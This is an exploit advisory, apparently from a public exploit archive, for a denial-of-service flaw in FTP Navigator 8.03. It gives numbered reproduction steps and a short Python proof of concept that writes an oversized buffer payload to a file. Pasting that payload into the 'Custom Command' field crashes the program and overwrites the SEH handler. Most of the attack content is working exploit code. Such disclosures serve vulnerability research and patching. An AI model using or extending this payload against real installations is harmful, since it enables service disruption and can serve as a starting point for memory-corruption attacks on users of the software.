FTP Navigator 8.03 Denial Of Service

2019.12.20
Credit: Chris Inzinga
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: FTP Navigator 8.03 - 'Custom Command' Denial of Service (SEH) # Date: 2019-12-18 # Exploit Author: Chris Inzinga # Vendor Homepage: http://www.internet-soft.com/ # Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1 # Version: 8.03 # Tested on: Windows 7 SP1 (x86) # Steps to reproduce: # 1. Generate a malicious payload via the POC # 2. In the application click "FTP - Server" > "Custom Command" # 3. Paste the contents of the PoC file into the input box below SERVER LIST and press "Do it!" # 4. Observe a program DOS crash, overwriting SEH #!/usr/bin/python payload = "A" * 4108 + "B" * 4 + "C" * 40 try: fileCreate =open("exploit.txt","w") print("[x] Creating file") fileCreate.write(payload) fileCreate.close() print("[x] File created") except: print("[!] File failed to be created")


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